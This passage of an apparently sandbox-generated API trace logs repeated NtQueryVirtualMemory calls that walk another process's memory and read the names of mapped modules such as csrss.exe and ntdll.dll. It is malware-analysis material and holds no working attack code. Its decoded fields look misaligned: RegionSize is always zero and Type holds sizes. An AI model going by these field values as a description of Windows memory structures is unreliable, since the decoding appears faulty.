VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xd73000, AllocationBase=0x0, AllocationProtect=0xbf0000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0149.804] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xd78000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xd78000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0149.804] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xd80000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xd80000, AllocationBase=0x0, AllocationProtect=0xd80000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.805] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xd80000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.805] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xd82000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xd82000, AllocationBase=0x0, AllocationProtect=0xd80000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x2e000), ResultLength=0x0) returned 0x0 [0149.805] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xdb0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xdb0000, AllocationBase=0x0, AllocationProtect=0xdb0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.805] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xdb0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.805] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xdc0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xdc0000, AllocationBase=0x0, AllocationProtect=0xdc0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.805] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xdc0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.805] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xdc2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xdc2000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xe000), ResultLength=0x0) returned 0x0 [0149.805] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xdd0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xdd0000, AllocationBase=0x0, AllocationProtect=0xdd0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.805] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xdd0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.805] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xde0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xde0000, AllocationBase=0x0, AllocationProtect=0xde0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.805] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xde0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.805] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xdf0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xdf0000, AllocationBase=0x0, AllocationProtect=0xdf0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x35000), ResultLength=0x0) returned 0x0 [0149.805] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xe25000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xe25000, AllocationBase=0x0, AllocationProtect=0xdf0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.805] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xe28000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xe28000, AllocationBase=0x0, AllocationProtect=0xdf0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0149.805] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xe30000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xe30000, AllocationBase=0x0, AllocationProtect=0xe30000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.806] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xe30000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.806] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xe32000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xe32000, AllocationBase=0x0, AllocationProtect=0xe30000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x13fe000), ResultLength=0x0) returned 0x0 [0149.806] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2230000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2230000, AllocationBase=0x0, AllocationProtect=0x2230000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.806] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2230000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.806] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2233000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2233000, AllocationBase=0x0, AllocationProtect=0x2230000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0xbd000), ResultLength=0x0) returned 0x0 [0149.806] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x22f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x22f0000, AllocationBase=0x0, AllocationProtect=0x22f0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.806] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x22f0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.806] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2300000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2300000, AllocationBase=0x0, AllocationProtect=0x2300000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.806] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2300000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.806] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2310000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2310000, AllocationBase=0x0, AllocationProtect=0x2310000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x35000), ResultLength=0x0) returned 0x0 [0149.806] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2345000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2345000, AllocationBase=0x0, AllocationProtect=0x2310000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.807] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2348000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2348000, AllocationBase=0x0, AllocationProtect=0x2310000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0149.807] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2350000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2350000, AllocationBase=0x0, AllocationProtect=0x2350000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.807] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2350000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.807] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2352000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2352000, AllocationBase=0x0, AllocationProtect=0x2350000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0xbe000), ResultLength=0x0) returned 0x0 [0149.807] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2410000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2410000, AllocationBase=0x0, AllocationProtect=0x2410000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.807] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2410000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.807] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2412000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2412000, AllocationBase=0x0, AllocationProtect=0x2410000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0xbe000), ResultLength=0x0) returned 0x0 [0149.807] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x24d0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x24d0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.807] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x24e0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x24e0000, AllocationBase=0x0, AllocationProtect=0x24e0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.807] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x24e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.807] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x24f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x24f0000, AllocationBase=0x0, AllocationProtect=0x24f0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.807] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x24f0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.807] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2500000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2500000, AllocationBase=0x0, AllocationProtect=0x2500000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.808] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2500000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.808] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2510000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2510000, AllocationBase=0x0, AllocationProtect=0x2510000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.808] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2510000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.808] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2520000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2520000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x48090000), ResultLength=0x0) returned 0x0 [0149.808] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x4a5b0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x4a5b0000, AllocationBase=0x0, AllocationProtect=0x4a5b0000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.808] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x4a5b0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270*(SectionFileName.Length=0x64, SectionFileName.MaximumLength=0x66, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\System32\\csrss.exe"), ResultLength=0x0) returned 0x0 [0149.808] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa36530 [0149.808] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47658 [0149.808] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x4a5b1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x4a5b1000, AllocationBase=0x0, AllocationProtect=0x4a5b0000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.808] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x4a5b2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x4a5b2000, AllocationBase=0x0, AllocationProtect=0x4a5b0000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.808] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x4a5b3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x4a5b3000, AllocationBase=0x0, AllocationProtect=0x4a5b0000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.808] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x4a5b6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x4a5b6000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x2d43a000), ResultLength=0x0) returned 0x0 [0149.808] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x779f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x779f0000, AllocationBase=0x0, AllocationProtect=0x779f0000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.809] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x779f0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270*(SectionFileName.Length=0x6a, SectionFileName.MaximumLength=0x6c, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\System32\\kernel32.dll"), ResultLength=0x0) returned 0x0 [0149.809] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa36558 [0149.809] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c476e0 [0149.809] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x779f1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x779f1000, AllocationBase=0x0, AllocationProtect=0x779f0000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x9b000), ResultLength=0x0) returned 0x0 [0149.809] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77a8c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77a8c000, AllocationBase=0x0, AllocationProtect=0x779f0000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x6e000), ResultLength=0x0) returned 0x0 [0149.809] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77afa000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77afa000, AllocationBase=0x0, AllocationProtect=0x779f0000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.809] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77afc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77afc000, AllocationBase=0x0, AllocationProtect=0x779f0000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x13000), ResultLength=0x0) returned 0x0 [0149.809] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77b0f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77b0f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.809] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77b10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77b10000, AllocationBase=0x0, AllocationProtect=0x77b10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.809] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77b10000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270*(SectionFileName.Length=0x66, SectionFileName.MaximumLength=0x68, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\System32\\user32.dll"), ResultLength=0x0) returned 0x0 [0149.809] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa36580 [0149.810] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47768 [0149.810] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77b11000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77b11000, AllocationBase=0x0, AllocationProtect=0x77b10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x81000), ResultLength=0x0) returned 0x0 [0149.810] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77b92000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77b92000, AllocationBase=0x0, AllocationProtect=0x77b10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.810] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77ba2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77ba2000, AllocationBase=0x0, AllocationProtect=0x77b10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.810] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77ba4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77ba4000, AllocationBase=0x0, AllocationProtect=0x77b10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x66000), ResultLength=0x0) returned 0x0 [0149.810] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77c0a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77c0a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x6000), ResultLength=0x0) returned 0x0 [0149.810] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77c10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77c10000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.810] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77c10000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270*(SectionFileName.Length=0x64, SectionFileName.MaximumLength=0x66, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll"), ResultLength=0x0) returned 0x0 [0149.810] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa365a8 [0149.810] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c477f0 [0149.810] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77c11000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77c11000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x102000), ResultLength=0x0) returned 0x0 [0149.810] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77d13000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d13000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2f000), ResultLength=0x0) returned 0x0 [0149.810] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77d42000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d42000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.810] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77d43000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d43000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.811] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77d44000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | 